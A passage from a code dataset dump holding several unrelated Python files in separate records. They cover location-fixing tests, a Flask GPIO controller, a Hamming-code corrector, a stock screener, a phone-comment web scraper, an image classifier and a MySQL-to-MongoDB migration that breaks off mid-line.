crossRefDataSource=self.lookup.getDataSource(\"crossref\")\n limit=50 if self.inCI() else 200\n show=not self.inCI()\n addLocationInfo=limit>=2000\n self.fixLocations(crossRefDataSource.eventManager,locationAttribute=\"location\",limit=limit,show=show,addLocationInfo=addLocationInfo)\n \n def testWikiCFPLocationFix(self):\n '''\n test fixing WikiCFP locations\n '''\n wikicfpDataSource=self.lookup.getDataSource(\"wikicfp\")\n limit=50 if self.inCI() else 150\n show=not self.inCI()\n addLocationInfo=limit>=2000\n self.fixLocations(wikicfpDataSource.eventManager, \"locality\",limit=limit,show=show,addLocationInfo=addLocationInfo) \n \n def testDblpLocationFix(self):\n '''\n test dblp Location fixing\n '''\n dblpDataSource=self.lookup.getDataSource(\"dblp\")\n for dblpEvent in dblpDataSource.eventManager.events:\n title=dblpEvent.title\n if title is not None:\n parts=title.split(\",\")\n if len(parts)>3:\n dblpEvent.location=f\"{parts[2].strip()}, {parts[3].strip()}\"\n #print(dblpEvent.location)\n limit=50 if self.inCI() else 100\n show=not self.inCI()\n addLocationInfo=limit>=1000\n self.fixLocations(dblpDataSource.eventManager, \"location\",limit=limit,show=show,addLocationInfo=addLocationInfo)\n \n def testORLocationFix(self):\n '''\n test OpenResearch Location Fixing\n '''\n orDataSource=self.lookup.getDataSource(\"orclone\")\n for orEvent in orDataSource.eventManager.events:\n loc=\"\"\n delim=\"\"\n if orEvent.city:\n city=orEvent.city.replace(\"Category:\",\"\")\n loc=f\"{city}\"\n delim=\", \"\n if orEvent.region:\n region=orEvent.region.replace(\"Category:\",\"\")\n loc=f\"{loc}{delim}{region}\"\n delim=\", \" \n if orEvent.country:\n country=orEvent.country.replace(\"Category:\",\"\")\n loc=f\"{loc}{delim}{country}\"\n orEvent.location=loc\n pass\n limit=50 if self.inCI() else 200\n show=not self.inCI()\n addLocationInfo=limit>=1200\n self.fixLocations(orDataSource.eventManager, \"location\",limit=limit,show=show,addLocationInfo=addLocationInfo)\n \n \n def testStats(self):\n '''\n test ConfRef locations\n '''\n lookupIds=[\"crossref\",\"confref\",\"wikidata\",\"wikicfp\",\"orclone\"]\n formats=[\"latex\",\"grid\",\"mediawiki\",\"github\"]\n show=self.debug\n #show=True\n formats=[\"mediawiki\"]\n \n for lookupId in lookupIds:\n dataSource=self.lookup.getDataSource(lookupId)\n events=dataSource.eventManager.events\n for propertyName in [\"locality\",\"location\",\"country\",\"region\",\"city\"]:\n pCount,pCountTab=self.getCounter(events,propertyName)\n if len(pCount)>0:\n if show:\n print(f\"=={dataSource.sourceConfig.title}:{propertyName}==\")\n for fmt in formats:\n print(pCountTab.mostCommonTable(tablefmt=fmt,limit=20))\n \n # found=0\n # for ce in confRefEvents:\n # if ce.country in wcountryCount:\n # #print(f\"{ce.eventId}-{ce.country}\")\n # found+=1\n # print(found)\n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","sub_path":"tests/testLocationFixing.py","file_name":"testLocationFixing.py","file_ext":"py","file_size_in_byte":10162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"203671398","text":"def SynchronizingTables(N, ids, salary):\n\n tab = sort(ids)\n zp = sort(salary)\n hash = {}\n otvet = [0]*N\n if len(ids) != len(salary):\n return print(\"Faile\")\n elif len(ids) and len(salary) != N:\n return print(\"Faile\")\n\n for i in range (N):\n hash[tab[i]] = zp[i]\n print(\"Hash=\", hash)\n for k in range (N):\n otvet[k] = hash[ids[k]]\n\n\n print(\"REZ=\", otvet)\n\ndef sort(a):\n f=1\n while(f==1):\n f=0\n for i in range (len(a)-1):\n if (a[i] > a[i+1]):\n temp = a[i]\n a[i] = a[i+1]\n a[i+1] = temp\n f=1\n return a\n\nids = [50, 1, 1024]\nsalary = [20000, 100000, 90000]\nSynchronizingTables(3,ids, salary)","sub_path":"SynchTable.py","file_name":"SynchTable.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563669715","text":"import pyA20.gpio as gpio\nfrom flask import Flask, render_template\nfrom flask_bootstrap import Bootstrap\nfrom flask_appconfig import AppConfig\nimport time\n\ndef create_app(configfile='server.cfg'):\n app = Flask(__name__)\n AppConfig(app, configfile)\n app.debug = app.config['DEBUG']\n Bootstrap(app)\n gpio.setmode(gpio.BCM)\n gpio.setwarnings(False)\n\n # Grab all pins from the configuration file\n pins = app.config['PINS']\n # Set each pin as an output and make it low\n for pin in pins:\n gpio.setup(pin, gpio.OUT)\n gpio.output(pin, gpio.LOW)\n\n @app.route('/')\n def index():\n # For each pin, read the pin state and store it in the pins dictionary\n for pin in pins:\n pins[pin]['state'] = gpio.input(pin)\n # Put the pin dictionary into the template data dictionary\n templateData = {\n 'pins' : pins\n }\n return render_template('index.html', **templateData)\n\n # The function below is executed when someone requests a URL without a\n # pin number -> master control for all pins\n @app.route('/')\n def master(master):\n if master == 'on':\n # Set all pins to high\n for pin in pins:\n gpio.output(pin, gpio.HIGH)\n message = 'Turned all interfaces on.'\n if master == 'off':\n # Set all pins to low\n for pin in pins:\n gpio.output(pin, gpio.LOW)\n message = 'Turned all interfaces off.'\n # For each pin, read the pin state and store it in the pins dictionary\n for pin in pins:\n pins[pin]['state'] = gpio.input(pin)\n # Along with the pin dictionary, put the message into the template data dictionary\n templateData = {\n 'message' : message,\n 'pins' : pins\n }\n return render_template('index.html', **templateData)\n\n # The function below is executed when someone requests a URL with the\n # pin number and action in it\n @app.route('//')\n def action(changePin, action):\n # Convert the pin from the URL into an integer\n changePin = int(changePin)\n # Get the device name for the pin being changed\n deviceName = pins[changePin]['name']\n # If the action part of the URL is \"on,\" execute the code indented below\n if action == 'on':\n # Set the pin high\n gpio.output(changePin, gpio.HIGH)\n # Save the status message to be passed into the template\n message = 'Turned ' + deviceName + ' on.'\n if action == 'off':\n gpio.output(changePin, gpio.LOW)\n message = 'Turned ' + deviceName + ' off.'\n if action == 'toggle':\n # Read the pin and set it to whatever it isn't (that is, toggle it)\n gpio.output(changePin, not gpio.input(changePin))\n message = 'Toggled ' + deviceName + '.'\n if action == 'reset':\n # Set the pin to low and after 5 s back to high\n gpio.output(changePin, gpio.LOW)\n time.sleep(5)\n gpio.output(changePin, gpio.HIGH)\n message = 'Reset ' + deviceName + '.'\n # For each pin, read the pin state and store it in the pins dictionary\n for pin in pins:\n pins[pin]['state'] = gpio.input(pin)\n templateData = {\n 'message' : message,\n 'pins' : pins\n }\n return render_template('index.html', **templateData)\n\n return app\n\nif __name__ == '__main__':\n create_app().run(host='www.forledshow.sk', port=80)","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"590314596","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\n\nclass Correcteur:\n\n def __init__(self):\n fichier_emis = open(\"ressources/recu.txt\", \"r\")\n strSources = fichier_emis.read()\n listeBlock = []\n tailleChaine = len(strSources)\n\n indice = 0\n while indice < tailleChaine:\n listeBlock.append(strSources[indice:(indice+7)])\n indice += 7\n\n matrice_h = [[1,0,1,1,1,0,0], [0,1,1,1,0,1,0], [1,1,0,1,0,0,1]]\n listeCorrection = []\n for word in listeBlock:\n listeCorrection.append(\"\".join(map(str, self.corriger(matrice_h, map(int, list(word))))))\n\n swap = \"\".join(listeCorrection)\n destination = open(\"ressources/correction.txt\", \"w\")\n destination.write(swap)\n destination.close()\n print('Correction termine')\n\n # Fonction qui retourne le produit de deux matrices\n def mult(self, matriceA, matriceB):\n res = np.dot(matriceA, matriceB)\n return [el%2 for el in res] # pour revenir à une matrice binaire\n\n # Fonction qui retourne la somme de deux matrices\n def som(self, matriceA, matriceB):\n return [((x+y)%2) for i, x in enumerate(matriceA) for j, y in enumerate(matriceB) if i == j]\n\n # Fonction qui permet de savoir si la matrice passé en paramètre est nulle\n def estNulle(self, matrice):\n return (sum(matrice) == 0)\n\n # Fonction qui retourne la matrice d'erreur corespondant au numéro de colonne (en fonction de la taille de la matrice)\n def genererMatriceErreur(self, indice, tailleMatrice):\n m_erreur = np.zeros(tailleMatrice)\n m_erreur[indice-1] = 1\n return m_erreur\n\n # Fonction qui recherche le numéro de colonne où l'on retrouve le syndrome donné en paramètre dans la matrice donné\n def trouverNumeroColonne(self, matriceH, syndrome):\n i = 1\n for matrice in matriceH:\n if(matrice == syndrome):\n return i\n i = i+1\n return -1\n\n # Fonction qui retourne le message corrigé\n def corriger(self, matrice_h, m_recu):\n syndrome = self.mult(matrice_h, m_recu)\n\n # Calcul de H.m_recu\n if(self.estNulle(syndrome)):\n return m_recu\n else:\n # On cherche le numero de colonne correspondant dans H\n indice = self.trouverNumeroColonne(matrice_h, syndrome)\n\n # On déduit la matrice erreur\n m_erreur = self.genererMatriceErreur(indice, len(m_recu))\n\n # On fait la somme de m_recu et de m_erreur pour effectuer la correction\n return self.som(m_recu, m_erreur)","sub_path":"Correcteur.py","file_name":"Correcteur.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"91340760","text":"import time\nimport sys\nfrom mocap import Mocap\n\n\nif __name__ == '__main__':\n # Instantiate the CrazyMocap class\n cm = Mocap()\n cont = 0\n # Record position for 5 seconds and send it to a file\n print('Start tracking')\n start_time = time.time()\n # Select a file to store the info\n file = open('tracking_info.csv', 'w')\n # Write the headers to the file\n file.write('timestamp, x, y, z\\n')\n while time.time() - start_time <= 5:\n # Get string to write\n data = '{}, {}, {}, {}\\n'.format(int((time.time() - start_time) * 1000), cm.x, cm.y, cm.z)\n # Write to file timestamp (miliseconds sinc start), x, y and z according to the mocap to the file\n file.write(data)\n # Wait for one milisecond\n time.sleep(0.001)\n\n # Notify of finished \n print('Finish')\n","sub_path":"example_mocap_to_csv.py","file_name":"example_mocap_to_csv.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"235342629","text":"'''\nCreated on July 25th, 2013\n\n@author: Shveta\n'''\n\nimport pytest\nfrom unittestzero import Assert\n\n@pytest.fixture(scope=\"module\", # IGNORE:E1101\n params=[\"linux_template_workflow\"])\ndef provisioning_data(request, cfme_data):\n '''get data from cfme_data.yml'''\n param = request.param\n return cfme_data.data[\"provisioning\"][param]\n\n\n@pytest.fixture()\ndef create_service_dialog(\n automate_customization_pg,\n random_string,\n provisioning_data):\n '''Fixture to create Catalog item and bundle'''\n new_dialog_pg = automate_customization_pg\\\n .click_on_service_dialog_accordion().add_new_service_dialog()\n service_dialog_name = \"auto_dialog_\" + random_string\n new_dialog_pg.create_service_dialog(service_dialog_name)\n return service_dialog_name\n\n@pytest.fixture()\ndef create_catalog(\n svc_catalogs_pg, \n random_string, \n provisioning_data):\n '''Fixture to create Catalog item and bundle'''\n new_cat_pg = svc_catalogs_pg.click_on_catalogs_accordion().add_new_catalog()\n catalog_name = \"auto_cat_\" + random_string\n new_cat_pg.fill_basic_info_tab(catalog_name)\n return catalog_name\n\n@pytest.fixture()\ndef create_catalog_item(\n random_string, \n provisioning_data,\n create_service_dialog, \n svc_catalogs_pg, \n create_catalog):\n '''Fixture to create Catalog item and bundle'''\n service_dialog_name = create_service_dialog\n catalog_name = create_catalog\n new_cat_item_pg = svc_catalogs_pg.click_on_catalog_item_accordion().\\\n add_new_catalog_item()\n new_cat_item_pg.choose_catalog_item_type('VMware')\n catalog_item_name = \"auto_item_\" + random_string\n new_cat_item_pg.fill_basic_info(\n catalog_item_name,\n \"item_desc_\" + random_string,\n catalog_name,\n service_dialog_name,\n \"2\")\n req_pg = new_cat_item_pg.click_on_request_info_tab()\n req_pg.fill_catalog_tab(\n provisioning_data[\"template\"],\n \"vm_name\" + random_string)\n envt_pg = req_pg.click_on_environment_tab()\n envt_pg.fill_environment_tab(\n unicode(provisioning_data[\"host\"]),\n unicode(provisioning_data[\"datastore\"]))\n names = [service_dialog_name, catalog_name, catalog_item_name]\n return names\n\n@pytest.fixture()\ndef create_catalog_bundle(\n random_string, \n provisioning_data, \n svc_catalogs_pg, \n create_catalog_item):\n '''Fixture to create Catalog item and bundle'''\n cat_list = create_catalog_item\n cat_name = cat_list[1]\n new_bundle_pg = svc_catalogs_pg.click_on_catalog_item_accordion()\\\n .add_new_catalog_bundle()\n catalog_bundle_name = \"auto_bundle_\" + random_string\n new_bundle_pg.fill_bundle_basic_info(\n catalog_bundle_name,\n \"bundle_desc_\" + random_string,\n cat_list[1],\n cat_list[0],\n \"2\")\n res_pg = new_bundle_pg.click_on_resources_tab()\n res_pg.select_catalog_item_and_add(cat_list[2])\n item_names = [cat_name, catalog_bundle_name, cat_list[0]]\n return item_names\n\n\n@pytest.mark.nondestructive\n@pytest.mark.usefixtures(\"create_catalog_item\")\nclass TestServiceCatalogs:\n '''Services test cases'''\n \n def test_service_catalog_item(\n self, \n svc_catalogs_pg, \n create_catalog_item):\n '''Order Catalog Item'''\n mylist = create_catalog_item\n cat_name = mylist[1]\n cat_item_name = mylist[2]\n Assert.true(svc_catalogs_pg.is_the_current_page)\n table_pg = svc_catalogs_pg.click_on_service_catalogs_accordion()\\\n .select_catalog_in_service_tree(cat_name)\n order_pg = table_pg.select_catalog_item(cat_item_name)\n Assert.true(order_pg.is_the_current_page,\n \"not returned to the correct page\")\n Assert.equal(order_pg.flash.message,\n \"Order Request was Submitted\")\n\n\n def test_service_catalog_bundle(\n self, \n svc_catalogs_pg, \n create_catalog_bundle):\n '''Order Catalog Bundle'''\n mylist = create_catalog_bundle\n cat_name = mylist[0]\n cat_bundle_name = mylist[1]\n Assert.true(svc_catalogs_pg.is_the_current_page)\n table_pg = svc_catalogs_pg.click_on_service_catalogs_accordion()\\\n .select_catalog_in_service_tree(cat_name)\n order_pg = table_pg.select_catalog_item(cat_bundle_name)\n Assert.true(order_pg.is_the_current_page,\n \"not returned to the correct page\")\n Assert.equal(order_pg.flash.message,\"Order Request was Submitted\")\n\n\n def test_delete_catalog(\n self, \n svc_catalogs_pg, \n create_catalog_item):\n '''Delete Catalog should delete service'''\n mylist = create_catalog_item\n cat_name = mylist[1]\n Assert.true(svc_catalogs_pg.is_the_current_page)\n delete_pg = svc_catalogs_pg.click_on_catalogs_accordion().\\\n click_on_catalog(cat_name)\n show_cat_pg = delete_pg.delete_catalog()\n Assert.false(svc_catalogs_pg.click_on_service_catalogs_accordion().\\\n is_catalog_present(cat_name),\"service catalog not found\")\n\n def test_delete_catalog_item(\n self, \n create_catalog_item, \n svc_catalogs_pg):\n '''Delete Catalog should delete service'''\n mylist = create_catalog_item\n cat_name = mylist[1]\n cat_item = mylist[2]\n Assert.true(svc_catalogs_pg.is_the_current_page)\n delete_pg = svc_catalogs_pg.click_on_catalog_item_accordion().\\\n click_on_catalog_item(cat_item)\n show_cat_pg = delete_pg.delete_catalog_item()\n Assert.false(svc_catalogs_pg.click_on_service_catalogs_accordion().\\\n is_catalog_item_present(cat_item),\"service catalog item not found\")\n\n def test_service_circular_reference(\n self, \n random_string,\n svc_catalogs_pg, \n create_catalog_bundle):\n '''service calling itself should not be allowed'''\n mylist = create_catalog_bundle\n cat_name = mylist[0]\n cat_bundle_name = mylist[1]\n serv_dialog_name = mylist[2]\n '''second catalog bundle'''\n new_bundle_pg = svc_catalogs_pg.click_on_catalog_item_accordion()\\\n .add_new_catalog_bundle()\n sec_catalog_bundle = \"sec_auto_bundle\" + random_string\n new_bundle_pg.fill_bundle_basic_info(sec_catalog_bundle,\n \"bundle_desc_\" + random_string,\n cat_name, serv_dialog_name,\"2\")\n res_pg = new_bundle_pg.click_on_resources_tab()\n '''second catalog bundle calling first'''\n res_pg.select_catalog_item_and_add(cat_bundle_name)\n Assert.true(res_pg.flash.message.startswith(\n 'Catalog Bundle \"%s\" was added' % sec_catalog_bundle))\n '''Edit first catalog bundle to call second'''\n edit_pg = svc_catalogs_pg.click_on_catalog_item_accordion().\\\n click_on_catalog_item(cat_bundle_name)\n reso_pg = edit_pg.edit_catalog_bundle()\n resource_pg = reso_pg.click_on_resources_tab()\n resource_pg.select_catalog_item_and_edit(sec_catalog_bundle)\n Assert.equal(resource_pg.flash.message,\n \"Error during 'Resource Add': Adding resource <%s> to Service <%s> will create a circular reference\"\n % (sec_catalog_bundle ,cat_bundle_name))\n \n ","sub_path":"tests/ui/services/test_service_catalogs.py","file_name":"test_service_catalogs.py","file_ext":"py","file_size_in_byte":7484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"171153424","text":"from general import *\nfrom spider import Spider\nimport time\nfrom domain import *\n\ndef get_frequnt_number(record_file):\n number_lis = ['9177407950',\n '9177407959',\n '9177408750',\n '7694871296',\n '5186737084',\n '8002752273',\n '7624998626',\n '8006927753',\n '9177407951',\n '3178650151']\n return number_lis\n\ndef get_url(number_lis):\n preurl = \"https://800notes.com/Phone.aspx/\"\n for number in number_lis:\n formatted = number[:3] + \"-\" + number[3:6] + \"-\" + number[6:]\n print(formatted)\n base_page = preurl + formatted\n to_end = True\n target = base_page\n while to_end:\n try:\n specider.crawl_page(\"thread1\",target,count =1)\n except Exception as e:\n print(str(e))\n to_end = True\n print(\"Comments under \" + str(number) + \" has all been collected.\")\n\n\n\n\nclass specider(Spider):\n\n def __init__(self,project_name, base_url, domain_name, use_proxy = False):\n specider.project_name = project_name\n specider.base_url = base_url\n specider.domain_name = domain_name\n # Spider.queue_file = Spider.project_name + '/queue.csv'\n # Spider.crawled_file = Spider.project_name + '/crawled.csv'\n specider.use_proxy = use_proxy\n self.boot()\n # self.crawl_page('First spider', Spider.base_url)\n\n @staticmethod\n def boot():\n create_project_dir(specider.project_name)\n create_data_files(specider.project_name, Spider.base_url)\n # Spider.queue = file_to_set(Spider.queue_file)\n # Spider.crawled = file_to_set(Spider.crawled_file)\n\n @staticmethod\n def crawl_page(thread_name, page_url,count,total = 1, proxy_lis=[]):\n count = count\n if count > total:\n print(\"Info under \" + page_url + \" has all been collected\")\n return 0\n else:\n if count != 1:\n target = page_url + \"/\" + str(count)\n print(thread_name + ' now crawling ' + target)\n html_string = specider.gather_html_string(target, proxy_lis)\n if html_string == \"\":\n time.sleep(1)\n else:\n if (specider.phone_num(page_url)):\n data = specider.gather_info(html_string)\n specider.store_info(data, specider.phone_num(page_url))\n time.sleep(0.7)\n count += 1\n else:\n crawl_page(thread_name, page_url, count, total=1, proxy_lis=[])\n\n @staticmethod\n def gather_html_string(page_url, proxy_lis=[]):\n try:\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'}\n # page = request.Request(page_url, headers=headers)\n # response = request.urlopen(page)\n # if 'text/html' in response.getheader('Content-Type'):\n # html_bytes = response.read()\n # html_string = html_bytes.decode(\"utf-8\")\n # return html_string\n # return ''\n if (specider.use_proxy):\n username = proxy_lis[0]\n password = proxy_lis[1]\n url = proxy_lis[2]\n proxies = {\"http\": \"http://{}:{}@{}\".format(username, password, url)}\n # proxies = {\"http\": \"http://username:password@proxy_ip:proxy_port\"}\n response = requests.get(page_url, proxies=proxies, headers=headers, timeout=5)\n response.raise_for_status()\n response.encoding = 'utf-8'\n return response.text\n else:\n response = requests.get(page_url, headers=headers, timeout=5)\n response.raise_for_status()\n response.encoding = 'utf-8'\n return response.text\n except Exception as e:\n print(str(e))\n return ''\n\n # def gather_info(html_string):\n # # Remain the same\n\n\nPROJECT_NAME = 'target800'\nHOMEPAGE = 'https://800notes.com/Phone.aspx/1-866-236-7606'\nDOMAIN_NAME = get_domain_name(HOMEPAGE)\nQUEUE_FILE = PROJECT_NAME + '/queue.csv'\nCRAWLED_FILE = PROJECT_NAME + '/crawled.csv'\nUSE_PROXY = False\n# DB_FILE = PROJECT_NAME + \"_info.db\"\nNUMBER_OF_THREADS = 1\n# queue = Queue()\nspecider(PROJECT_NAME, HOMEPAGE, DOMAIN_NAME, USE_PROXY)\n\nget_url(get_frequnt_number(\"whatever\"))\n","sub_path":"query_phone_number.py","file_name":"query_phone_number.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"545378885","text":"from finviz.screener import Screener\r\n\r\n\r\n\r\n\r\nimport os;\r\nfrom finviz.screener import Screener\r\n\r\ndef get_screener_name():\r\n return 'redditMiracleScreener'\r\n\r\ndef dump_to_csv(dirName):\r\n\r\n if not os.path.exists(dirName):\r\n os.makedirs(dirName)\r\n\r\n#https://www.reddit.com/r/stocks/comments/79e9zm/finviz_screener_criteria/\r\n\r\n#https://www.finviz.com/screener.ashx?v=111&f=fa_eps5years_pos,fa_epsqoq_o20,fa_epsyoy_o25,fa_epsyoy1_o15,fa_estltgrowth_pos,fa_roe_o15,sh_instown_o10,sh_price_o15,ta_highlow52w_a90h,ta_rsi_nos50&ft=4\r\n#https://www.finviz.com/screener.ashx?v=111&f=fa_eps5years_pos,fa_epsqoq_o20,fa_epsyoy_o25,fa_epsyoy1_o15,fa_estltgrowth_pos,fa_roe_o15,sh_instown_o10,ta_highlow52w_a90h,ta_rsi_nos50&ft=4\r\n\r\n\t\r\n filters = ['fa_eps5years_pos','fa_epsqoq_o20','fa_epsyoy_o25','fa_epsyoy1_o15','fa_estltgrowth_pos','fa_roe_o15','sh_instown_o10','ta_highlow52w_a90h','ta_rsi_nos50'] # Shows companies in NASDAQ which are in the S&P500\r\n stock_list = Screener(filters=filters, order='ticker') \r\n\r\n print((stock_list))\r\n stock_list.to_csv(dirName,get_screener_name())\r\n\r\n#dump_to_csv('screenerOutput')","sub_path":"screeners/redditMiracleScreener.py","file_name":"redditMiracleScreener.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"466809906","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport tensorflow as tf\nimport PIL.Image as pilimag\nimport matplotlib.pyplot as plt\nimport sys\nimport json\nimport requests\nfrom PIL import Image\n\ndef app():\n df = pd.read_csv('/Users/yh/Desktop/src/archive/styles.csv',on_bad_lines='skip')\n\n \n\n df = df.dropna()\n df.nunique()\n df.columns\n\n\n article_label_use = ['Tshirts', 'Shirts', 'Casual Shoes', 'Watches', 'Sports Shoes','Tops', 'Handbags', 'Heels','Flip Flops','Backpacks','Caps','Track Pants','Shorts','Sweatshirts','Dress']\n color_label_use = ['Navy Blue', 'Blue', 'Silver', 'Black', 'Grey', 'Green', 'Purple', 'White','Brown','Red', 'Khaki', 'Orange', 'Yellow']\n\n\n\n\n df = df[df['articleType'].isin(article_label_use)]\n df = df[df['baseColour'].isin(color_label_use)]\n #number of examples we are left with\n\n data = []\n\n # Reading all the images and processing the data in them \n\n from tensorflow.keras.preprocessing.image import img_to_array\n import cv2\n\n IX = 80\n IY = 60\n \n invalid_ids = []\n \n for name in df.id:\n \n try:\n image = cv2.imread('/Users/yh/Desktop/src/archive/images/'+str(name)+'.jpg')\n image = cv2.resize(image, (IX,IY) )\n image = img_to_array(image)\n data.append(image)\n except: \n # Images for certain ids are missing, so they are not added to the dataset \n invalid_ids.append(name)\n\n\n\n labels = []\n \n used_columns = ['articleType','baseColour']\n \n \n # getting labels for the columns used \n \n for index, row in df.iterrows():\n \n if row['id'] in invalid_ids:\n continue\n\n tags = []\n\n for col in used_columns:\n tags.append(row[col])\n\n labels.append(tags)\n\n\n\n import numpy as np\n\n # converting data into numpy arrays\n\n data = np.array(data, dtype=\"float\") / 255.0\n labels = np.array(labels)\n\n from sklearn.preprocessing import MultiLabelBinarizer\n mlb = MultiLabelBinarizer()\n labels = mlb.fit_transform(labels)\n\n import cv2\n from tensorflow.keras.preprocessing.image import img_to_array\n from tensorflow.keras.models import Sequential\n\n target =[]\n\n\n image = cv2.imread(sys.argv[1])\n image = cv2.resize(image,(80,60))\n image = img_to_array(image)\n target.append(image)\n\n\n target = np.array(target,dtype=\"float\")/255.0\n\n\n new_model = tf.keras.models.load_model('/Users/yh/Desktop/src/t_multi1.h5')\n\n preds = new_model.predict(target)\n\n\n pred_binarized = []\n\n\n for pred in preds:\n\t vals = []\n\t for val in pred:\n\t\t if val>0.5:\n\t\t\t vals.append(1)\n\t\t else:\n\t\t\t vals.append(0)\n\t pred_binarized.append(vals)\n\n pred_binarized = np.array(pred_binarized)\n pred_test_labels = mlb.inverse_transform(pred_binarized)\n\n print(pred_test_labels[0])\n\n\n\n\napp()","sub_path":"python/multi_label_model.py","file_name":"multi_label_model.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"346590069","text":"import sys\n\nif sys.argv[1:]:\n for arg in sys.argv[1:]:\n user_n = arg\nelse:\n user_n = input(\"How high do you want to count? \")\n\nwhile True: \n try:\n n = int(user_n)\n if n > 0:\n break\n else:\n print(\"Please enter a positive integer.\")\n user_n = input(\"How high do you want to count? \")\n except ValueError:\n print(\"Please enter a positive integer.\")\n user_n = input(\"How high do you want to count? \")\n \nx = 1\n\nprint(\"Fizz Buzz counting up to {}\".format(n))\n\nwhile x <= n:\n if x % 15 == 0:\n print(\"FizzBuzz\")\n elif x % 3 == 0:\n print(\"Fizz\")\n elif x % 5 == 0:\n print(\"Buzz\")\n else:\n print(x)\n x += 1","sub_path":"fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"201172750","text":"import random\nimport time\nlista = ['Rokket', 'Zombie', 'Salamangreat', 'Phantom Knight', 'Darklord', 'Shaddoll', 'Dino', 'Aesir', 'Destiny',\n 'Black Magician', 'Cyber Dragon', 'Odd Eyes', 'Lunalight', 'Dinomist', 'Peluguel', 'Pendulum Magician',\n 'Harpie', 'Crusadia']\nlista1 = ['Salamangreat', 'Phantom Knight', 'Dino', 'Aesir', 'Destiny',\n 'Black Magician', 'Cyber Dragon', 'Odd Eyes']\n#for c in range(0, 18):\n # sorteio = random.choice(lista)\n # print(sorteio)\n #lista.remove(sorteio)\n #time.sleep(2)\nfor c in range(0, 8):\n sorteio = random.choice(lista1)\n print(sorteio)\n lista1.remove(sorteio)\n time.sleep(2)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"632691216","text":"# Convert old mysql db data to mongo\n\nimport MySQLdb;\nimport pymongo;\nfrom pymongo import MongoClient;\nimport datetime;\nfrom datetime import datetime;\nimport pprint;\n\nmongo_cli = pymongo.MongoClient('localhost', 27017);\nmongo_db = mongo_cli.hcf;\ndb = MySQLdb.connect(\"localhost\", \"\", \"\", \"\");\ncursor = db.cursor(MySQLdb.cursors.DictCursor);\n\n# Get inmates\ncursor.execute(\"SELECT * FROM inmates\");\nmysql_inmates = cursor.fetchall();\n\nmongo_inmate_list = [];\nfor mysql_inmate in mysql_inmates:\n # Set new inmate\n mongo_inmate = {\n 'identifiers': {\n 'sid': str(mysql_inmate['sid']),\n 'booking': str(mysql_inmate['booking']),\n 'fbi': str(mysql_inmate['fbi']),\n 'det_id': str(mysql_inmate['detainee_id'])\n },\n 'attributes': {\n 'name': mysql_inmate['name'],\n 'sex': mysql_inmate['sex'],\n 'race': mysql_inmate['race'],\n 'height': str(mysql_inmate['height']),\n 'weight': str(mysql_inmate['weight']),\n 'hair_color': mysql_inmate['hair_color'],\n 'eye_color': mysql_inmate['eye_color'],\n 'img_name': mysql_inmate['img']\n },\n 'incarcerations': []\n };\n\n # Convert old \"null\" vals to ? for inmate\n for group in mongo_inmate:\n for attr in mongo_inmate[group]:\n if mongo_inmate[group][attr] == \"NULL\" or mongo_inmate[group][attr] == \"ull\" or mongo_inmate[group][attr] == None:\n mongo_inmate[group][attr] = \"?\";\n\n # Get charges associated with inmate\n cursor.execute(\"SELECT * FROM charges WHERE sid = '\" + mongo_inmate['identifiers']['sid'] + \"'\");\n assoc_charges = list(cursor.fetchall()); # Need mutable array\n\n # Sort inmate charges by date (Insertion sort ascending)\n i = 0;\n while i < len(assoc_charges):\n j = i;\n # While arr[j] < arr[j-1]\n while j > 0 and (assoc_charges[j - 1]['lodge_date'].strftime(\"%s\") > assoc_charges[j]['lodge_date'].strftime(\"%s\")):\n # Swap arr[j] arr[j-1]\n assoc_charges[j], assoc_charges[j - 1] = assoc_charges[j - 1], assoc_charges[j];\n j = j - 1;\n i += 1;\n\n # Convert old \"null\" vals to ? for assoc_charges\n for charge in assoc_charges:\n for attr in charge:\n if charge[attr] == \"NULL\" or charge[attr] == \"ull\" or charge[attr] == None:\n charge[attr] = \"?\";\n\n '''for charge in assoc_charges:\n pp = pprint.PrettyPrinter(indent=4);\n pp.pprint(charge);\n\n print \"---------------------------------------------------------\"'''\n\n # Group charges by lodge_dates\n i = 0;\n incarcerations = [];\n charge_set = [];\n time = 0;\n prev_time = assoc_charges[0]['lodge_date'].strftime(\"%s\");\n for charge in assoc_charges:\n time = charge['lodge_date'].strftime(\"%s\");\n\n # If matching date\n if time == prev_time:\n # Add to same charge_set\n charge_set.append(\n {\n 'charge_name': str(charge['charge_name']),\n 'statute_id': str(charge['statute_id']),\n 'statute_desc': str(charge['statute_desc'])\n }\n );\n else:\n # Append current charge set to incarcerations\n incarcerations.append(\n {\n 'lodge_date': datetime.strptime(assoc_charges[i - 